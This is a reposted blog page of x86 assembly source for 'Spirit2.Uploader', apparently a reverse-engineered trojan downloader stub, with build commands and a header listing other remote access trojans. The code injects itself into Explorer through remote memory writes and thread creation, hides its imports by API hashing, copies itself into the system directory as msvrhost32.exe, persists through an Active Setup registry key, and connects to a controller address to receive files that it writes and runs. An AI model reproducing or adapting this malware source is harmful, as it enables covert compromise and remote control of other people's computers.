Spirit2.Uploader Coder

来源:互联网 发布:java以逗号分割字符串 编辑:程序博客网 时间:2024/06/05 11:38
;===============================================;    Spirit2.Uploader Coder:Anskya;    Email: Anskya@Gmail.com;;    Spirit2.Uploader.code:100%(Server)-------code inject;    Spirit3.b1.Uploader.code:100%(Server)----up;    Spirit3.b2.Uploader.code:100%(Server)----up;    Spirit4.Uploader.b1.code:100%(Server)----up;    C-One 1.0.0.0.code:100%(Server----shit!)-code inject(no elirt);    Bifrost.1.102.code:100%(Server)----------dll (memory pe loader) inject(use elirt)+plugin memory loader;    Poison Ivy 2.0.0-2.14:100%(Server)-------code inject(no use elict)-code plugin;    tequila bandita 1.3b2.code:100%(Server)--dll Memory Inject;    Nuclear Seed 1.1.code:100%(Server+Client)----process hjeck;;    Bifrost.1.21.code:30%(Server)------------dll (memory pe loader) inject(use elirt);    Flux.1.01.code:70%(Server)---------------code inject(use elirt)-code plugin;    Poison Ivy 2.20-2.30.code:10%(Server)----code inject(no use elict)-code plugin;;    Thank:drocon,coban2k,iciko,ksv,Gargamel,shapeless,Caecigenus,stm;       ;    完全原版逆向...编译器:Nasm 0.39.38 or Yasm 0.61;    nasmw -fbin Spirit2a.asm -o Spirit2a.exe;===============================================[BITS 32]%define        CODE_BASE    1000h%define    DATA_BASE      CODE_BASE   %define        RVADIFF        1000h-200h%define        imagebase      00400000h%define          reloc        RVADIFF+imagebase%define        MAX_PATH    260MZ_Header:.magic                  dw "MZ".cblp                    dw 0.cp                        dw "IC".crlc                    dw "IK".cparhdr                dw "O".minalloc                dw    0;.cblp                  dw "[C";.cp                    dw "]A";.crlc                  dw "ns";.cparhdr                dw "ky";.minalloc              dw "a"PE_Header:.Signature              dd "PE".Machine                dw 14Ch.NumberOfSections      dw 1IAT_User32:.TimeDateStamp          dd 0.PointerToSymbolTable  dd 0.NumberOfSymbols        dd 0.SizeOfOptionalHeader  dw 0E0h.Characteristics        dw 103hOptional_Header:.Magic                  dw 10Bh                   .MajorLinkerVersion    db 0.MinorLinkerVersion    db 0.SizeOfCode            dd CODE_BASE.SizeOfInitializedData  dd 0.SizeOfUninitialzedData dd 0.AddressOfEntryPoint    dd code+RVADIFF.BaseOfCode            dd 1000h;.BaseOfData            dd DATA_BASE.lfanew                dd 0Ch;align 16, DB 0                       .ImageBase              dd imagebase.SectionAlignment      dd 1000h   .FileAlignment          dd 200h.MajorOperSystemVersion dw 4h.MinorOperSystemVersion dw 0h.MajorImageVersion      dw 0h.MinorImageVersion      dw 0h.MajorSubsystemVersion  dw 4.MinorSubsystemVersion  dw 0.Reserved1              dd 0h.SizeOfImage            dd 2000h.SizeOfHeaders          dd import.CheckSum              dd 0h.Subsystem              dw 2.DllCharacteristics    dw 0h.SizeOfStackReserve1    dd 100000h.SizeOfStackCommit1    dd 2000h.SizeOfStackReserve2    dd 100000h.SizeOfStackCommit2    dd 1000h.LoaderFlags            dd 0h.NumberOfRvaAndSizes    dd 10hData_Directories:.Export        times 2 dd 0h.Import                dd import+RVADIFF, import_end-import.Resource        times 2 dd 0.Exception        times 2 dd 0h.Security        times 2 dd 0h.Relocation        times 2 dd 0h.Debug            times 2 dd 0h.Architecture    times 2 dd 0h.GlobalPtr        times 2 dd 0h.TLS            times 2 dd 0h.LoadConfig        times 2 dd 0h.BoundImport    times 2 dd 0h.IAT            times 2 dd 0h.DelayImport    times 2 dd 0h.ComDescriptor    times 2 dd 0h.Reserved        times 2 dd 0h;PE节----至少要有一个PE节sections:.SectionName            db "spirit2",0.VirtualSize            dd 1000h.VirtualAddress        dd 1000h.SizeOfRawData          dd code_end-import.PointerToRawData      dd import.PointerToRelocations  dd 0h.PointerToLinenumbers  dd 0h.NumberOfRelocations    dw 0h.NumberOfLinenumbers    dw 0h.Characteristics        dd 0E00000D0h;============================================================================================;    循环启动自身.查找ExplorerFind_Process:    push    11h    pop        ecx@loop_push1:    push    edi    loop    @loop_push1       push    esp    push    esp    push    7    pop        ecx@loop_push2:    push    edi    loop    @loop_push2       lea        eax, [reloc + __GetCurrentPath]    push    eax    call    [reloc + __CreateProcessA]       push    11h    pop        ecx@loop_pop:    pop        eax    loop    @loop_pop       popad    retn   ;    Win9x插入函数Inject_Win9x:    push    40h    push    08003000h    push    ((__RemoteCodeEnd - __RemoteCodeStart) + MAX_PATH * 2)    push    edi    call    [reloc + __VirtualAlloc]       ;    Write Memory       push    8    push    edi    push    eax    push    edi    push    ((__RemoteCodeEnd - __RemoteCodeStart) + MAX_PATH)    lea        edx, [reloc + __RemoteCodeStart]    push    edx    push    eax    push    esi    call    [reloc + __WriteProcessMemory]   ;    CreateRemoteThread For Win9x    call    [reloc + __GetCurrentProcessId]    xor        eax, [fs:030h]    xor        ebx, eax    mov        esi, [reloc + __DebugActiveProcess];    搜索CreateRemoteThread9x@search_crt9x:    inc        esi    cmp        dword [esi], 0E857FFFFh    jnz        @search_crt9x       lodsd    lodsd    add        eax, esi    push    -1000h    push    ebx    call    eax;    搜索OpenThread9x    push    edi    push    eax    mov        esi, [reloc + __OpenProcess]@search_opt9x:    inc        esi    cmp        dword [esi], 0E832FF50h    jnz        @search_opt9x    lodsd    lodsd    add        eax, esi    push    ebx    call    eax    popad    retndll002                    db "USER32",0__ExplorerWindow        db 'shell_traywnd',0align 200h, DB 0import    dd 0        dd 0        dd -1        dd dll001+RVADIFF        dd api001+RVADIFFtimes 5 dd 0                ;NULL DLL ENTRY       dll001    db "KERNEL32.DLL",0;kernel32 apisapi001    dd api101+RVADIFF        dd 0       api101    dw 0        db "ExitProcess",0       import_end:code:    pushad       lea        ebx, [reloc + __LoadLibraryA]    call    GetKernel32       lea        eax, [imagebase + dll002]    push    eax    call    [reloc + __LoadLibraryA]    call    GetFunctions       xor        edi, edi    ;    获取自身路径    push    MAX_PATH    lea        eax, [reloc + __GetCurrentPath]    push    eax    push    edi    call    [reloc + __GetModuleFileNameA]       push    1024    call    [reloc + __Sleep]       ;Debug    ;call    RemoteCode       ;    查找Explorer.exe窗口    push    edi    lea        eax, [imagebase + __ExplorerWindow]    push    eax    call    [reloc + __FindWindowA]    test    eax, eax    jnz        @Inject_Process          ;    启动自身,再次查找Exlorer窗口    lea        eax, [imagebase + Find_Process]    jmp        eax;    注入代码To 远程进程(Explorer)@Inject_Process:    push    eax    push    esp    push    eax    call    [reloc + __GetWindowThreadProcessId]    pop        eax    xchg    eax, ebx       push    ebx    push    edi    push    01F0FFFh    call    [reloc + __OpenProcess]    xchg    eax, esi       ;    判断是否为Win9x    call    [reloc + __GetVersion]    cmp        eax, 080000000h    jb        @Inject_WinNT       ;    执行Win9x插入    lea        eax, [imagebase + Inject_Win9x]    jmp        eax   @Inject_WinNT:    push    40h    push    3000h    push    ((__RemoteCodeEnd - __RemoteCodeStart) + MAX_PATH * 2)    push    edi    push    esi    call    [reloc + __VirtualAllocEx]       push    eax    push    esp    push    edi    push    edi    push    eax    push    edi    push    ((__RemoteCodeEnd - __RemoteCodeStart) + MAX_PATH)    lea        ebx, [reloc + __RemoteCodeStart]    push    ebx    push    eax    push    esi    call    [reloc + __WriteProcessMemory]       push    edi    push    edi    push    esi    call    [reloc + __CreateRemoteThread]    pop        eax       popad    retn;=============================================;    RemoteCode__RemoteCodeStart:RemoteCode:    pushad    call    @Start@Start:    pop        ebx    add        ebx, (__LoadLibraryA - @Start)       ;    Load WS2_32    push    '32'    push    'ws2_'    push    esp    call    [ebx + (__LoadLibraryA - __LoadLibraryA)]        ;    LoadLibraryA    call    GetFunctions       ;    Load Advapi32    push    0    push    'pi32'    push    'adva'    push    esp    call    [ebx + (__LoadLibraryA - __LoadLibraryA)]        ;    LoadLibraryA    call    GetFunctions          push    5    pop        ecx@@Loop_Pop:    pop        eax    loop    @@Loop_Pop;    安装文件    ;    获取安装目录    push    MAX_PATH    lea        edi, [ebx + (__GetCurrentPath - __LoadLibraryA) + MAX_PATH]    push    edi    call    [ebx + (__GetSystemDirectoryA - __LoadLibraryA)]       push    edi    add        edi, eax    lea        esi, [ebx + (__SetupFileName - __LoadLibraryA)]       ;    连接文件名    push    15    pop        ecx    rep        movsb    pop        edi       ;    删除已经存在的安装文件;    push    edi;    call    [ebx + (__DeleteFileA - __LoadLibraryA)];       ;    Copy File    push    0    push    edi    lea        eax, [ebx + (__GetCurrentPath - __LoadLibraryA)]    push    eax    call    [ebx + (__CopyFileA - __LoadLibraryA)]   ;    填写注册表    ;    打开键值    push    esi    lea        eax, [ebx + (__ActiveRegedir - __LoadLibraryA)]    push    eax    push    080000002h    call    [ebx + (__RegCreateKeyA - __LoadLibraryA)]   ;    ;    填写键值    push    0b4h    push    edi    push    1    push    0    lea        eax, [ebx + (__ActiveSetup - __LoadLibraryA)]    push    eax    push    dword [esi]    call    [ebx + (__RegSetValueExA - __LoadLibraryA)]       ;    关闭句柄    push    dword [esi]    call    [ebx + (__RegCloseKey - __LoadLibraryA)];    创建Socket连接    ;WSAStartup    sub        esp, 0800h    mov        edi, esp    push    edi    push    1    call    [ebx + (__WSAStartup - __LoadLibraryA)]@Loop_Online:    ;closesocket    push    ebp    call    [ebx + (__closesocket - __LoadLibraryA)]       ;socket    push    6    push    1    push    2    call    [ebx + (__socket - __LoadLibraryA)]       ;    删除注册表    xchg    eax, ebp    lea        eax, [ebx + (__ActiveRegedir - __LoadLibraryA)]    push    eax    push    080000001h    call    [ebx + (__RegDeleteKeyA - __LoadLibraryA)]@Loop_connect:    ;Sleep    push    0800h    call    [ebx + (__Sleep - __LoadLibraryA)];    终于可以连接了    lea        eax, [ebx + (__MasterAddress - __LoadLibraryA)]    push    eax    call    [ebx + (__gethostbyname - __LoadLibraryA)]    test    eax, eax    je        @Loop_connect       ;    压入端口开始连接    mov        eax, dword [eax + 0ch]    mov        eax, dword [eax]    push    dword [eax]    push    0FE120002h                ;端口值---使用htons转换后的数值--写生成器时注意    pop        dword [edi]    pop        dword [edi + 4]       ;connect    push    010h    push    edi    push    ebp    call    [ebx + (__connect - __LoadLibraryA)]    jnz        @Loop_Online    push    0       ;GetComputerNameA    push    010h    push    esp    push    edi    call    [ebx + (__GetComputerNameA - __LoadLibraryA)]    jmp        short @Send_OnlineInfo   ;    循环接受数据包@Recv_Buffer:    push    0    push    0800h    push    edi    push    ebp    call    [ebx + (__recv - __LoadLibraryA)]    inc        eax    je        @Loop_Online    dec        eax    je        @Loop_Online       mov        dh, byte [edi]    inc        edi    call    @Create_File    dec        edi       ;    数据发送函数@Send_Buffer:    push    0    push    2@Send_OnlineInfo:    push    edi    push    ebp    call    [ebx + (__send - __LoadLibraryA)]@Send_Loop:    jmp        short @Recv_Buffer    ;    解析接受到的命令----看表头注明函数功能@Parse_Cmd:@Parse_Done:    mov        byte [edi], 78h    retn   @Create_File:    dec        dh    jnz        @Wirte_File       xor        ecx, ecx    push    ecx    push    ecx    push    2    push    ecx    push    ecx    push    040000000h    push    edi    call    [ebx + (__CreateFileA - __LoadLibraryA)]    inc        eax    je        @Parse_Done    dec        eax    xchg    eax, esi    retn@Wirte_File:    dec        dh    jnz        @Close_File    dec        eax       push    0    push    ecx    push    eax    push    edi    push    esi    call    [ebx + (__WriteFile - __LoadLibraryA)]    test    eax, eax    je        @Parse_Done    retn@Close_File:    dec        dh    jnz        @Parse_UnInstall       push    esi    call    [ebx + (__CloseHandle - __LoadLibraryA)]@Execute_File:    push    0Ah    push    edi    call    [ebx + (__WinExec - __LoadLibraryA)]    cmp        eax, 31    jns        @Parse_Done    retn@Parse_UnInstall:    dec        dh    jnz        @Close_Socket    ;    删除注册表    lea        eax, [ebx + (__ActiveRegedir - __LoadLibraryA)]    push    eax    push    080000002h    call    [ebx + (__RegDeleteKeyA - __LoadLibraryA)]    ;    删除安装文件    lea        eax, [ebx + (__GetCurrentPath - __LoadLibraryA) + MAX_PATH]    push    eax    call    [ebx + (__DeleteFileA - __LoadLibraryA)]    jmp        @Close_SocketProc@Close_Socket:    dec        dh    jnz        @Parse_Ping@Close_SocketProc:    push    ebp    call    [ebx + (__closesocket - __LoadLibraryA)]    pop        eax   ;    exit@Exit_Loop:    add        esp, 0800h    popad    retn@Parse_Ping:    dec        dh    jnz        @Parse_Is9x    mov        byte [edi], 32h    ret   @Parse_Is9x:    dec        dh    jnz        @Parse_Exit       call    [ebx + (__GetVersion - __LoadLibraryA)]    cmp        eax, 080000000h    jnb        @Parse_Exit    inc        byte [edi]   @Parse_Exit:    retn      ;=============================================   ;    get kernel32 baseGetKernel32:    mov        eax, [fs:30h]    test    eax, eax    js        @@os_9x   @@os_nt:    mov        eax, [eax + 0ch]    mov        esi, [eax + 1ch]    lodsd     mov        eax, [eax + 08h]    jmp        short @@finished   @@os_9x:       mov        eax, [eax+034h]    mov        eax, [eax+0b8h]   @@finished:    ;retn;    HashGetProcAddress thank coban2kGetFunctions:    xchg    eax, ebp    mov    eax, dword [ebp+03Ch]        ; PE    mov    eax, dword [ebp+eax+078h]    ; Export Table RVA     lea    esi, [ebp+eax+018h]            ; Export Table VA+18h    lodsd    xchg    eax, ecx                    ; NumberOfNames    lodsd                                ; AddressOfFunctions    push    eax    lodsd                                ; AddressOfNames    add    eax, ebp    xchg    eax, edx    lodsd                                ; AddressOfNameOrdinals    add    eax, ebp    push    eax    xchg    esi, edx @next_func:    lodsd    add        eax, ebp    xor        edx, edx   @calc_hash:    rol        edx, 3    xor        dl,    byte [eax]    inc        eax    cmp        byte [eax], 0    jnz        @calc_hash       mov        edi, ebx   @scan_dw_funcs:    cmp        dword [edi], edx    jnz        @Skip_function    mov        eax, dword [esp]    movzx    eax, word [eax]    shl        eax, 2    add        eax, dword [esp+4]    mov        eax, dword [eax+ebp]    add        eax, ebp    stosd@Skip_function:    scasd       cmp        dword [edi], 0    jnz        @scan_dw_funcs       add        dword [esp], 2    loop    @next_func    pop        eax    pop        eax    ret   ;    =======API Hash Address__FunAddress:    __LoadLibraryA    dd                        0A412FD89h    __WinExec        dd                        0016EF74Bh    __CreateProcessA dd                        08EF94368h    __Sleep dd                                00005F218h    __DeleteFileA dd                        049462A7Bh    __GetModuleFileNameA dd                    060F43F1Bh    __GetSystemDirectoryA dd                0B8E579C1h    __CopyFileA dd                            04F182A69h    __CreateFileA dd                        038C62A7Ah    __WriteFile dd                            058D8C545h    __CloseHandle dd                        0C0D6D616h    __closesocket dd                        0C0CBAF87h    __connect dd                            001BDA62Ch    __gethostbyname dd                        0208651E9h    __send dd                                00000FC54h    __socket dd                                0003FAF9Ch    __recv dd                                00000FE2Eh    __WSAStartup dd                            0E250EADAh    __RegSetValueExA dd                        09775A748h    __RegCreateKeyA dd                        0A718D938h    __RegDeleteKeyA dd                        08928D938h    __RegCloseKey dd                        0C6E06B86h    __GetComputerNameA dd                    0BA2070DFh    __GetVersion dd                            052ED5F54h    __FindWindowA dd                        0ABEEB02Bh    __GetWindowThreadProcessId dd            0850BA256h       __OpenProcess dd                        029BF2CBBh    __VirtualAllocEx dd                        0C5B429FAh    __WriteProcessMemory dd                    0B04AD555h    __CreateRemoteThread dd                    04A5F66C2h       __DebugActiveProcess dd                    031978FE3h    __GetCurrentProcessId dd                06D5EA21Eh    __VirtualAlloc dd                        0AB16D0AEh__ActiveSetup    db 'StubPath',0;__MasterPort    dd 0FE120002h__MasterAddress    db '127.0.0.1',0                db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0__ActiveRegedir    db 'SOFTWARE/Microsoft/Active Setup/Installed Components/'__ActiveRegHex    db '{2A202488-F02D-11cf-64CD-1123AFEECF20}',0__SetupFileName    db '/msvrhost32.exe',0__GetCurrentPath:__RemoteCodeEnd:%define RemoteCodeSize $ - RemoteCodecode_end:
 
原创粉丝点击